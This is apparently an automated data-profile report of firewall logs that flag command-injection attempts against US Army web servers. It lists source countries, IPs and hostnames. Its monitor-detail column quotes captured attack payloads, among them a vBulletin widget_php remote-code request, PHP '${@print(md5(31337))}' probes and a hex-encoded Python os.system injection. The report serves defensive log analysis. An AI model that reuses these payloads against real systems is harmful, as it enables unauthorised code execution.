[OQ] Reverse Proxy Command Injection (Non-Army.csv

Dataset statistics

Number of variables	54
Number of observations	44353
Missing cells	212321
Missing cells (%)	8.9%
Duplicate rows	0
Duplicate rows (%)	0.0%
Total size in memory	18.3 MiB
Average record size in memory	432.0 B

Variable types

CAT	42
NUM	11
BOOL	1

Warnings

`Data Type` has constant value "44353"	Constant
`Visibility` has constant value "44353"	Constant
`COCOM_SERVER` has constant value "44353"	Constant
`COUNTRY_SERVER` has constant value "44353"	Constant
`DATETIME_RECORD` has constant value "44353"	Constant
`DETAIL_SCAN` has constant value "44353"	Constant
`IPBRANCHCATEGORY_SERVER` has constant value "44353"	Constant
`IPBRANCHCATEGORY_SRC` has constant value "44353"	Constant
`IP_SERVER` has constant value "44353"	Constant
`LATITUDE_SERVER` has constant value "44353"	Constant
`LONGITUDE_SERVER` has constant value "44353"	Constant
`ORGANIZATION_OWNER_SERVER` has constant value "44353"	Constant
`PRODUCTNAME` has constant value "44353"	Constant
`REMARK_PROXSYSG` has constant value "44353"	Constant
`SITE_COLLECTION` has constant value "44353"	Constant
`VERSION_ELFFLOGTYPE` has constant value "44353"	Constant
`DATETIME_LOGSTART` has a high cardinality: 447 distinct values	High cardinality
`DETAIL_MONITOR` has a high cardinality: 27909 distinct values	High cardinality
`FILENAME_INGEST` has a high cardinality: 447 distinct values	High cardinality
`HOSTNAME_DST` has a high cardinality: 59 distinct values	High cardinality
`HOSTNAME_DST_LCASE` has a high cardinality: 59 distinct values	High cardinality
`IP_DST_EFFECTIVE` has a high cardinality: 353 distinct values	High cardinality
`IP_DST_FORWARDED` has a high cardinality: 1772 distinct values	High cardinality
`IP_SRC` has a high cardinality: 353 distinct values	High cardinality
`LOCAL_TIMESTAMP` has a high cardinality: 19141 distinct values	High cardinality
`TYPE_ATTACK` has a high cardinality: 99 distinct values	High cardinality
`URI_EXTENSION` has a high cardinality: 73 distinct values	High cardinality
`URI_PATH` has a high cardinality: 5718 distinct values	High cardinality
`URI_QUERY` has a high cardinality: 4150 distinct values	High cardinality
`URL_REFERRER` has a high cardinality: 2082 distinct values	High cardinality
`USERAGENT` has a high cardinality: 1937 distinct values	High cardinality
`LONGITUDE_SERVER` is highly correlated with `LATITUDE_SERVER`	High correlation
`LATITUDE_SERVER` is highly correlated with `LONGITUDE_SERVER`	High correlation
`MILLISECONDS_TIMETAKEN` is highly correlated with `LATENCY`	High correlation
`LATENCY` is highly correlated with `MILLISECONDS_TIMETAKEN`	High correlation
`ASN_SRC` has 596 (1.3%) missing values	Missing
`CONTENTTYPE_HTTPHEADER` has 6037 (13.6%) missing values	Missing
`HOSTNAME_DST_REVERSE` has 1440 (3.2%) missing values	Missing
`IP_DST_FORWARDED` has 42283 (95.3%) missing values	Missing
`LATENCY` has 5889 (13.3%) missing values	Missing
`OUTBOUNDINTERFACE_DEVICE` has 42193 (95.1%) missing values	Missing
`OUTCOME_POLICYVERDICT_BCSGOS` has 38726 (87.3%) missing values	Missing
`URI_EXTENSION` has 17018 (38.4%) missing values	Missing
`URI_QUERY` has 32092 (72.4%) missing values	Missing
`URL_REFERRER` has 25975 (58.6%) missing values	Missing
`BYTES_INPUT` is highly skewed (γ1 = 66.62105257)	Skewed
`BYTES_OUTPUT` is highly skewed (γ1 = 45.91515121)	Skewed
`BYTES_RECEIVED_RS` is highly skewed (γ1 = 75.59689154)	Skewed
`LATENCY` is highly skewed (γ1 = 31.60678497)	Skewed
`MILLISECONDS_TIMETAKEN` is highly skewed (γ1 = 20.11714612)	Skewed
`Id` has unique values	Unique
`UUID_BLUECOATTRANS` has unique values	Unique
`BYTES_RECEIVED_RS` has 5925 (13.4%) zeros	Zeros
`SCORE_BLUECOATWAF` has 5378 (12.1%) zeros	Zeros

Reproduction

Analysis started	2020-09-27 00:29:51.033940
Analysis finished	2020-09-27 00:30:43.356340
Duration	52.32 seconds
Software version	pandas-profiling v2.9.0
Download configuration	config.yaml

Id
Categorical

UNIQUE

Distinct	44353
Distinct (%)	100.0%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

ebb3d8ecb80d96c2db9ae397646d86e8	1
3500b7a5aec25cd196bdb25ee29f5f4b	1
1986a49d622811b66fbf53041a2c1d61	1
e913eca42596679946f16367bfe3b378	1
03c3f87ad6a422d993efa5e623a69472	1
Other values (44348)	44348

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
ebb3d8ecb80d96c2db9ae397646d86e8	1	< 0.1%
3500b7a5aec25cd196bdb25ee29f5f4b	1	< 0.1%
1986a49d622811b66fbf53041a2c1d61	1	< 0.1%
e913eca42596679946f16367bfe3b378	1	< 0.1%
03c3f87ad6a422d993efa5e623a69472	1	< 0.1%
9d9b096808b7c05f13311940b093327b	1	< 0.1%
0a31f08970c8f10c97f7ef34e1cdc7d7	1	< 0.1%
88f4826fbb8b182933f1e069f3fd536b	1	< 0.1%
76331f6b37c7b73e1f6f03002071a40f	1	< 0.1%
2375c71321adb230c5ffd00ef04b4697	1	< 0.1%
Other values (44343)	44343	> 99.9%

Frequencies of value counts

Unique

Unique	44353 ?
Unique (%)	100.0%

Histogram of lengths of the category

Length

Max length	32
Median length	32
Mean length	32
Min length	32

Timestamp
Real number (ℝ_≥0)

Distinct	19125
Distinct (%)	43.1%
Missing	0
Missing (%)	0.0%
Infinite	0
Infinite (%)	0.0%

Mean	1.598018826e+12
Minimum	1.596256976e+12
Maximum	1.600006375e+12
Zeros	0
Zeros (%)	0.0%
Memory size	346.5 KiB

Quantile statistics

Minimum	1.596256976e+12
5-th percentile	1.597444146e+12
Q1	1.597812941e+12
median	1.597820754e+12
Q3	1.597826738e+12
95-th percentile	1.599379008e+12
Maximum	1.600006375e+12
Range	3749399000
Interquartile range (IQR)	13797000

Descriptive statistics

Standard deviation	596465143.4
Coefficient of variation (CV)	0.0003732528889
Kurtosis	2.081806245
Mean	1.598018826e+12
Median Absolute Deviation (MAD)	6568000
Skewness	1.324233011
Sum	7.087692899e+16
Variance	3.557706672e+17
Monotocity	Not monotonic

Histogram with fixed size bins (bins=50)

Value	Count	Frequency (%)
1.598937276e+12	109	0.2%
1.596790657e+12	56	0.1%
1.599016983e+12	46	0.1%
1.598937271e+12	46	0.1%
1.598930706e+12	46	0.1%
1.599105647e+12	45	0.1%
1.599182796e+12	45	0.1%
1.59902099e+12	45	0.1%
1.599182834e+12	45	0.1%
1.599966402e+12	44	0.1%
Other values (19115)	43826	98.8%

Minimum 5 values
Maximum 5 values

Value	Count	Frequency (%)
1.596256976e+12	1	< 0.1%
1.59625698e+12	1	< 0.1%
1.596260695e+12	1	< 0.1%
1.596266692e+12	1	< 0.1%
1.596266694e+12	2	< 0.1%

Value	Count	Frequency (%)
1.600006375e+12	1	< 0.1%
1.600005928e+12	1	< 0.1%
1.600005693e+12	1	< 0.1%
1.600005609e+12	1	< 0.1%
1.600003653e+12	1	< 0.1%

Data Type
Categorical

CONSTANT
REJECTED

Distinct	1
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

rev-proxy-c	44353

Frequencies
Length

Value	Count	Frequency (%)
rev-proxy-c	44353	100.0%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	11
Median length	11
Mean length	11
Min length	11

Visibility
Categorical

CONSTANT
REJECTED

Distinct	1
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

U&FOUO	44353

Frequencies
Length

Value	Count	Frequency (%)
U&FOUO	44353	100.0%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	6
Median length	6
Mean length	6
Min length	6

ACTION_PROXYSG
Categorical

Distinct	9
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

TCP_NC_MISS	37981
TCP_POLICY_REDIRECT	2924
TCP_DENIED	1215
TCP_HIT	852
TCP_MISS	797
Other values (4)	584

Frequencies
Length

Value	Count	Frequency (%)
TCP_NC_MISS	37981	85.6%
TCP_POLICY_REDIRECT	2924	6.6%
TCP_DENIED	1215	2.7%
TCP_HIT	852	1.9%
TCP_MISS	797	1.8%
TCP_ERR_MISS	533	1.2%
TCP_CLIENT_REFRESH	29	0.1%
TCP_AUTH_HIT	20	< 0.1%
TCP_REFRESH_MISS	2	< 0.1%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	19
Median length	11
Mean length	11.3865353
Min length	7

ASN_SRC
Real number (ℝ_≥0)

MISSING

Distinct	145
Distinct (%)	0.3%
Missing	596
Missing (%)	1.3%
Infinite	0
Infinite (%)	0.0%

Mean	16070.70386
Minimum	48
Maximum	262673
Zeros	0
Zeros (%)	0.0%
Memory size	346.5 KiB

Quantile statistics

Minimum	48
5-th percentile	8075
Q1	15169
median	15169
Q3	15169
95-th percentile	20473
Maximum	262673
Range	262625
Interquartile range (IQR)	0

Descriptive statistics

Standard deviation	12470.87345
Coefficient of variation (CV)	0.7760004514
Kurtosis	220.8270044
Mean	16070.70386
Median Absolute Deviation (MAD)	0
Skewness	13.17146901
Sum	703205789
Variance	155522684.7
Monotocity	Not monotonic

Histogram with fixed size bins (bins=50)

Value	Count	Frequency (%)
15169	32711	73.8%
14061	3566	8.0%
8075	668	1.5%
9009	655	1.5%
38466	647	1.5%
7018	610	1.4%
18881	546	1.2%
16509	398	0.9%
577	385	0.9%
63949	193	0.4%
Other values (135)	3378	7.6%
(Missing)	596	1.3%

Minimum 5 values
Maximum 5 values

Value	Count	Frequency (%)
48	2	< 0.1%
149	1	< 0.1%
209	14	< 0.1%
383	7	< 0.1%
385	12	< 0.1%

Value	Count	Frequency (%)
262673	44	0.1%
213035	23	0.1%
202053	18	< 0.1%
200904	1	< 0.1%
199382	1	< 0.1%

BYTES_INPUT
Real number (ℝ_≥0)

SKEWED

Distinct	2837
Distinct (%)	6.4%
Missing	0
Missing (%)	0.0%
Infinite	0
Infinite (%)	0.0%

Mean	10532.06523
Minimum	65
Maximum	31982885
Zeros	0
Zeros (%)	0.0%
Memory size	346.5 KiB

Quantile statistics

Minimum	65
5-th percentile	179
Q1	487
median	620
Q3	1819
95-th percentile	3005
Maximum	31982885
Range	31982820
Interquartile range (IQR)	1332

Descriptive statistics

Standard deviation	308915.5541
Coefficient of variation (CV)	29.33095718
Kurtosis	5447.232277
Mean	10532.06523
Median Absolute Deviation (MAD)	377
Skewness	66.62105257
Sum	467128689
Variance	9.542881959e+10
Monotocity	Not monotonic

Histogram with fixed size bins (bins=50)

Value	Count	Frequency (%)
526	160	0.4%
521	149	0.3%
525	147	0.3%
517	140	0.3%
511	139	0.3%
518	135	0.3%
556	134	0.3%
538	132	0.3%
579	132	0.3%
519	131	0.3%
Other values (2827)	42954	96.8%

Minimum 5 values
Maximum 5 values

Value	Count	Frequency (%)
65	6	< 0.1%
84	6	< 0.1%
88	2	< 0.1%
92	3	< 0.1%
93	18	< 0.1%

Value	Count	Frequency (%)
31982885	1	< 0.1%
29771035	1	< 0.1%
13707463	1	< 0.1%
13704368	2	< 0.1%
13704126	5	< 0.1%

BYTES_OUTPUT
Real number (ℝ_≥0)

SKEWED

Distinct	4125
Distinct (%)	9.3%
Missing	0
Missing (%)	0.0%
Infinite	0
Infinite (%)	0.0%

Mean	16675.33407
Minimum	0
Maximum	7205993
Zeros	6
Zeros (%)	< 0.1%
Memory size	346.5 KiB

Quantile statistics

Minimum	0
5-th percentile	494
Q1	1204
median	3355
Q3	32993
95-th percentile	35695
Maximum	7205993
Range	7205993
Interquartile range (IQR)	31789

Descriptive statistics

Standard deviation	69659.87975
Coefficient of variation (CV)	4.177420342
Kurtosis	3339.168351
Mean	16675.33407
Median Absolute Deviation (MAD)	2847
Skewness	45.91515121
Sum	739601092
Variance	4852498846
Monotocity	Not monotonic

Histogram with fixed size bins (bins=50)

Value	Count	Frequency (%)
1204	3762	8.5%
658	1665	3.8%
35695	1436	3.2%
541	1363	3.1%
508	778	1.8%
1462	742	1.7%
1514	505	1.1%
236	426	1.0%
494	383	0.9%
572	373	0.8%
Other values (4115)	32920	74.2%

Minimum 5 values
Maximum 5 values

Value	Count	Frequency (%)
0	6	< 0.1%
146	53	0.1%
236	426	1.0%
241	1	< 0.1%
247	35	0.1%

Value	Count	Frequency (%)
7205993	1	< 0.1%
3648169	1	< 0.1%
3648144	1	< 0.1%
3234104	1	< 0.1%
2932307	1	< 0.1%

BYTES_RECEIVED_RS
Real number (ℝ_≥0)

SKEWED
ZEROS

Distinct	3156
Distinct (%)	7.1%
Missing	0
Missing (%)	0.0%
Infinite	0
Infinite (%)	0.0%

Mean	14538.33306
Minimum	0
Maximum	7205905
Zeros	5925
Zeros (%)	13.4%
Memory size	346.5 KiB

Quantile statistics

Minimum	0
5-th percentile	0
Q1	503
median	1580
Q3	29552
95-th percentile	35607
Maximum	7205905
Range	7205905
Interquartile range (IQR)	29049

Descriptive statistics

Standard deviation	53583.0042
Coefficient of variation (CV)	3.685636035
Kurtosis	8439.184096
Mean	14538.33306
Median Absolute Deviation (MAD)	1580
Skewness	75.59689154
Sum	644818686
Variance	2871138339
Monotocity	Not monotonic

Histogram with fixed size bins (bins=50)

Value	Count	Frequency (%)
0	5925	13.4%
1116	3801	8.6%
507	1665	3.8%
35607	1654	3.7%
472	1414	3.2%
503	1277	2.9%
1374	835	1.9%
1522	662	1.5%
489	660	1.5%
1580	471	1.1%
Other values (3146)	25989	58.6%

Minimum 5 values
Maximum 5 values

Value	Count	Frequency (%)
0	5925	13.4%
136	43	0.1%
146	53	0.1%
148	432	1.0%
152	18	< 0.1%

Value	Count	Frequency (%)
7205905	1	< 0.1%
3648155	1	< 0.1%
3234043	1	< 0.1%
2932246	1	< 0.1%
2004508	2	< 0.1%

COCOM_SERVER
Categorical

CONSTANT
REJECTED

Distinct	1
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

USNORTHCOM	44353

Frequencies
Length

Value	Count	Frequency (%)
USNORTHCOM	44353	100.0%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	10
Median length	10
Mean length	10
Min length	10

COCOM_SRC
Categorical

Distinct	5
Distinct (%)	< 0.1%
Missing	7
Missing (%)	< 0.1%
Memory size	346.5 KiB

USINDOPACOM	35489
USNORTHCOM	6045
USEUCOM	1969
USSOUTHCOM	703
USCENTCOM	140

Frequencies
Length

Value	Count	Frequency (%)
USINDOPACOM	35489	80.0%
USNORTHCOM	6045	13.6%
USEUCOM	1969	4.4%
USSOUTHCOM	703	1.6%
USCENTCOM	140	0.3%
(Missing)	7	< 0.1%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	11
Median length	11
Mean length	10.66270602
Min length	3

CONTENTTYPE_HTTPHEADER
Categorical

MISSING

Distinct	27
Distinct (%)	0.1%
Missing	6037
Missing (%)	13.6%
Memory size	346.5 KiB

text/html;%20charset=utf-8	20003
application/json;%20charset=utf-8	3940
text/plain;%20charset=utf-8	3821
text/html;%20charset=us-ascii	3588
text/html	3361
Other values (22)	3603

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
text/html;%20charset=utf-8	20003	45.1%
application/json;%20charset=utf-8	3940	8.9%
text/plain;%20charset=utf-8	3821	8.6%
text/html;%20charset=us-ascii	3588	8.1%
text/html	3361	7.6%
application/x-javascript	767	1.7%
image/png	624	1.4%
application/javascript	589	1.3%
text/css	474	1.1%
text/html;%20charset=UTF-8	265	0.6%
Other values (17)	884	2.0%
(Missing)	6037	13.6%

Frequencies of value counts

Unique

Unique	3 ?
Unique (%)	< 0.1%

Histogram of lengths of the category

Length

Max length	44
Median length	26
Mean length	21.86397763
Min length	3

COUNTRY_SERVER
Categorical

CONSTANT
REJECTED

Distinct	1
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

US	44353

Frequencies
Length

Value	Count	Frequency (%)
US	44353	100.0%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	2
Median length	2
Mean length	2
Min length	2

COUNTRY_SRC
Categorical

Distinct	38
Distinct (%)	0.1%
Missing	7
Missing (%)	< 0.1%
Memory size	346.5 KiB

TW	32669
US	4932
IN	1503
CA	1113
BR	696
Other values (33)	3433

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
TW	32669	73.7%
US	4932	11.1%
IN	1503	3.4%
CA	1113	2.5%
BR	696	1.6%
MY	648	1.5%
DE	598	1.3%
NL	509	1.1%
ID	289	0.7%
GB	274	0.6%
Other values (28)	1115	2.5%

Frequencies of value counts

Unique

Unique	3 ?
Unique (%)	< 0.1%

Histogram of lengths of the category

Length

Max length	3
Median length	2
Mean length	2.000157825
Min length	2

DATETIME_LOGSTART
Categorical

HIGH CARDINALITY

Distinct	447
Distinct (%)	1.0%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

2020-08-19T07:35:11Z	6935
2020-08-19T03:35:11Z	5696
2020-08-19T06:35:11Z	5224
2020-08-19T04:35:12Z	4872
2020-08-19T05:35:12Z	4793
Other values (442)	16833

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
2020-08-19T07:35:11Z	6935	15.6%
2020-08-19T03:35:11Z	5696	12.8%
2020-08-19T06:35:11Z	5224	11.8%
2020-08-19T04:35:12Z	4872	11.0%
2020-08-19T05:35:12Z	4793	10.8%
2020-08-19T08:35:11Z	3789	8.5%
2020-08-31T23:35:12Z	732	1.7%
2020-08-19T02:35:12Z	700	1.6%
2020-09-11T00:35:11Z	537	1.2%
2020-08-14T21:35:11Z	536	1.2%
Other values (437)	10539	23.8%

Frequencies of value counts

Unique

Unique	76 ?
Unique (%)	0.2%

Histogram of lengths of the category

Length

Max length	20
Median length	20
Mean length	20
Min length	20

DATETIME_RECORD
Categorical

CONSTANT
REJECTED

Distinct	1
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

2020-07-17T23:24:13Z	44353

Frequencies
Length

Value	Count	Frequency (%)
2020-07-17T23:24:13Z	44353	100.0%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	20
Median length	20
Mean length	20
Min length	20

DETAIL_MONITOR
Categorical

HIGH CARDINALITY

Distinct	27909
Distinct (%)	62.9%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"id;q=0.6"}]	651
[{"eng":"injection.command","part":"path","host":"linux","version":"3","data":"mysql"}]	649
[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"la;q=0.6"}]	550
[{"eng":"injection.command","part":"post_arg","host":"linux","version":"3","data":"{\"routestring\":\"ajax\\\/render\\\/widget_php\",\"widgetConfig[code]\":\"echo 'bm9uZXhpc3RlbnQ6MTMzNwo=' \| base64 -d; exit;\"}\n\n"}]	475
[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"vi;q=0.8"}]	457
Other values (27904)	41571

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"id;q=0.6"}]	651	1.5%
[{"eng":"injection.command","part":"path","host":"linux","version":"3","data":"mysql"}]	649	1.5%
[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"la;q=0.6"}]	550	1.2%
[{"eng":"injection.command","part":"post_arg","host":"linux","version":"3","data":"{\"routestring\":\"ajax\\\/render\\\/widget_php\",\"widgetConfig[code]\":\"echo 'bm9uZXhpc3RlbnQ6MTMzNwo=' \| base64 -d; exit;\"}\n\n"}]	475	1.1%
[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"vi;q=0.8"}]	457	1.0%
[{"eng":"blacklist","part":"post_arg","rule":["BL-6024-3"],"data":"${@print(md5(31337))}"}]	448	1.0%
[{"eng":"blacklist","part":"header","rule":["BL-6024-3"],"data":"${@print(md5(31337))}"}]	447	1.0%
[{"eng":"blacklist","part":"header","rule":["BL-6024-3"],"data":"${@print(md5(31337))}\\"}]	447	1.0%
[{"eng":"blacklist","part":"post_arg","rule":["BL-6024-3"],"data":"${@print(md5(31337))}\\"}]	445	1.0%
[{"eng":"analytics_filter","part":"query_arg","rule":["AF-1006-1","AF-1006-30","AF-1006-52"],"data":"g','');import os;os.system('6563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574'.decode('hex'))#"}]	403	0.9%
Other values (27899)	39381	88.8%

Frequencies of value counts

Unique

Unique	27112 ?
Unique (%)	61.1%

Histogram of lengths of the category

Length

Max length	10256
Median length	385
Mean length	680.468266
Min length	73

DETAIL_SCAN
Categorical

CONSTANT
REJECTED

Distinct	1
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

WAF_SCANNED	44353

Frequencies
Length

Value	Count	Frequency (%)
WAF_SCANNED	44353	100.0%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	11
Median length	11
Mean length	11
Min length	11

FILENAME_INGEST
Categorical

HIGH CARDINALITY

Distinct	447
Distinct (%)	1.0%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

http_accel_wap_log.ROCK.2020.08.19.08.35.09.gz	6935
http_accel_wap_log.ROCK.2020.08.19.04.35.10.gz	5696
http_accel_wap_log.ROCK.2020.08.19.07.35.10.gz	5224
http_accel_wap_log.ROCK.2020.08.19.05.35.10.gz	4872
http_accel_wap_log.ROCK.2020.08.19.06.35.09.gz	4793
Other values (442)	16833

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
http_accel_wap_log.ROCK.2020.08.19.08.35.09.gz	6935	15.6%
http_accel_wap_log.ROCK.2020.08.19.04.35.10.gz	5696	12.8%
http_accel_wap_log.ROCK.2020.08.19.07.35.10.gz	5224	11.8%
http_accel_wap_log.ROCK.2020.08.19.05.35.10.gz	4872	11.0%
http_accel_wap_log.ROCK.2020.08.19.06.35.09.gz	4793	10.8%
http_accel_wap_log.ROCK.2020.08.19.09.35.10.gz	3789	8.5%
http_accel_wap_log.ROCK.2020.09.01.00.35.10.gz	732	1.7%
http_accel_wap_log.ROCK.2020.08.19.03.35.10.gz	700	1.6%
http_accel_wap_log.ROCK.2020.09.11.01.35.09.gz	537	1.2%
http_accel_wap_log.ROCK.2020.08.14.22.35.10.gz	536	1.2%
Other values (437)	10539	23.8%

Frequencies of value counts

Unique

Unique	76 ?
Unique (%)	0.2%

Histogram of lengths of the category

Length

Max length	46
Median length	46
Mean length	46
Min length	46

HOSTNAME_DST
Categorical

HIGH CARDINALITY

Distinct	59
Distinct (%)	0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

www.first.army.mil	17344
www.arsouth.army.mil	14006
jacks.jpeocbd.army.mil	2982
www.jpeocbrnd.osd.mil	1164
ako.first.army.mil	1039
Other values (54)	7818

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
www.first.army.mil	17344	39.1%
www.arsouth.army.mil	14006	31.6%
jacks.jpeocbd.army.mil	2982	6.7%
www.jpeocbrnd.osd.mil	1164	2.6%
ako.first.army.mil	1039	2.3%
www.tooele.army.mil	565	1.3%
jackspublic.jpeocbd.army.mil	470	1.1%
jpeocbrnd.army.mil	441	1.0%
ecbconline.army.mil	381	0.9%
apps.aschq.army.mil	367	0.8%
Other values (49)	5594	12.6%

Frequencies of value counts

Unique

Unique	2 ?
Unique (%)	< 0.1%

Histogram of lengths of the category

Length

Max length	30
Median length	19
Mean length	19.24990418
Min length	5

HOSTNAME_DST_LCASE
Categorical

HIGH CARDINALITY

Distinct	59
Distinct (%)	0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

www.first.army.mil	17344
www.arsouth.army.mil	14006
jacks.jpeocbd.army.mil	2982
www.jpeocbrnd.osd.mil	1164
ako.first.army.mil	1039
Other values (54)	7818

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
www.first.army.mil	17344	39.1%
www.arsouth.army.mil	14006	31.6%
jacks.jpeocbd.army.mil	2982	6.7%
www.jpeocbrnd.osd.mil	1164	2.6%
ako.first.army.mil	1039	2.3%
www.tooele.army.mil	565	1.3%
jackspublic.jpeocbd.army.mil	470	1.1%
jpeocbrnd.army.mil	441	1.0%
ecbconline.army.mil	381	0.9%
apps.aschq.army.mil	367	0.8%
Other values (49)	5594	12.6%

Frequencies of value counts

Unique

Unique	2 ?
Unique (%)	< 0.1%

Histogram of lengths of the category

Length

Max length	30
Median length	19
Mean length	19.24990418
Min length	5

HOSTNAME_DST_REVERSE
Categorical

MISSING

Distinct	42
Distinct (%)	0.1%
Missing	1440
Missing (%)	3.2%
Memory size	346.5 KiB

mil.army.first.www	17344
mil.army.arsouth.www	14006
mil.army.jpeocbd.jacks	2982
mil.osd.jpeocbrnd.www	1164
mil.army.first.ako	1039
Other values (37)	6378

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
mil.army.first.www	17344	39.1%
mil.army.arsouth.www	14006	31.6%
mil.army.jpeocbd.jacks	2982	6.7%
mil.osd.jpeocbrnd.www	1164	2.6%
mil.army.first.ako	1039	2.3%
mil.army.tooele.www	565	1.3%
mil.army.jpeocbd.jackspublic	470	1.1%
mil.army.jpeocbrnd	441	1.0%
mil.army.ecbconline	381	0.9%
mil.army.aschq.apps	367	0.8%
Other values (32)	4154	9.4%
(Missing)	1440	3.2%

Frequencies of value counts

Unique

Unique	2 ?
Unique (%)	< 0.1%

Histogram of lengths of the category

Length

Max length	30
Median length	19
Mean length	18.9815796
Min length	3

HTTPMETHOD_DST
Categorical

Distinct	7
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

GET	24964
POST	19309
HEAD	53
PUT	24
UFIB	1
Other values (2)	2

Frequencies
Length

Value	Count	Frequency (%)
GET	24964	56.3%
POST	19309	43.5%
HEAD	53	0.1%
PUT	24	0.1%
UFIB	1	< 0.1%
VRUZ	1	< 0.1%
IKKB	1	< 0.1%

Frequencies of value counts

Unique

Unique	3 ?
Unique (%)	< 0.1%

Histogram of lengths of the category

Length

Max length	4
Median length	3
Mean length	3.436610827
Min length	3

HTTPSTATUSCODE
Real number (ℝ_≥0)

Distinct	15
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Infinite	0
Infinite (%)	0.0%

Mean	287.526864
Minimum	0
Maximum	504
Zeros	5
Zeros (%)	< 0.1%
Memory size	346.5 KiB

Quantile statistics

Minimum	0
5-th percentile	200
Q1	200
median	200
Q3	401
95-th percentile	404
Maximum	504
Range	504
Interquartile range (IQR)	201

Descriptive statistics

Standard deviation	96.78283462
Coefficient of variation (CV)	0.3366044942
Kurtosis	-1.585023004
Mean	287.526864
Median Absolute Deviation (MAD)	0
Skewness	0.3653820334
Sum	12752679
Variance	9366.917078
Monotocity	Not monotonic

Histogram with fixed size bins (bins=15)

Value	Count	Frequency (%)
200	22992	51.8%
403	6956	15.7%
400	4624	10.4%
302	2866	6.5%
404	2250	5.1%
401	1979	4.5%
301	1961	4.4%
504	305	0.7%
503	223	0.5%
500	122	0.3%
Other values (5)	75	0.2%

Minimum 5 values
Maximum 5 values

Value	Count	Frequency (%)
0	5	< 0.1%
200	22992	51.8%
206	61	0.1%
301	1961	4.4%
302	2866	6.5%

Value	Count	Frequency (%)
504	305	0.7%
503	223	0.5%
500	122	0.3%
415	4	< 0.1%
405	4	< 0.1%

IPBRANCHCATEGORY_SERVER
Categorical

CONSTANT
REJECTED

Distinct	1
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

Army	44353

Frequencies
Length

Value	Count	Frequency (%)
Army	44353	100.0%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	4
Median length	4
Mean length	4
Min length	4

IPBRANCHCATEGORY_SRC
Categorical

CONSTANT
REJECTED

Distinct	1
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

Non-Army	44353

Frequencies
Length

Value	Count	Frequency (%)
Non-Army	44353	100.0%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	8
Median length	8
Mean length	8
Min length	8

IP_DST_EFFECTIVE
Categorical

HIGH CARDINALITY

Distinct	353
Distinct (%)	0.8%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

35.201.230.163	32669
139.59.78.47	699
123.136.115.6	647
172.125.224.94	599
193.148.18.35	547
Other values (348)	9192

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
35.201.230.163	32669	73.7%
139.59.78.47	699	1.6%
123.136.115.6	647	1.5%
172.125.224.94	599	1.4%
193.148.18.35	547	1.2%
167.99.188.179	501	1.1%
138.68.29.241	497	1.1%
167.71.234.85	460	1.0%
93.115.18.213	453	1.0%
70.27.174.205	385	0.9%
Other values (343)	6896	15.5%

Frequencies of value counts

Unique

Unique	118 ?
Unique (%)	0.3%

Histogram of lengths of the category

Length

Max length	15
Median length	14
Mean length	13.77976687
Min length	10

IP_DST_FORWARDED
Categorical

HIGH CARDINALITY
MISSING

Distinct	1772
Distinct (%)	85.6%
Missing	42283
Missing (%)	95.3%
Memory size	346.5 KiB

${@print(md5(31337))}	149
${@print(md5(31337))}\	149
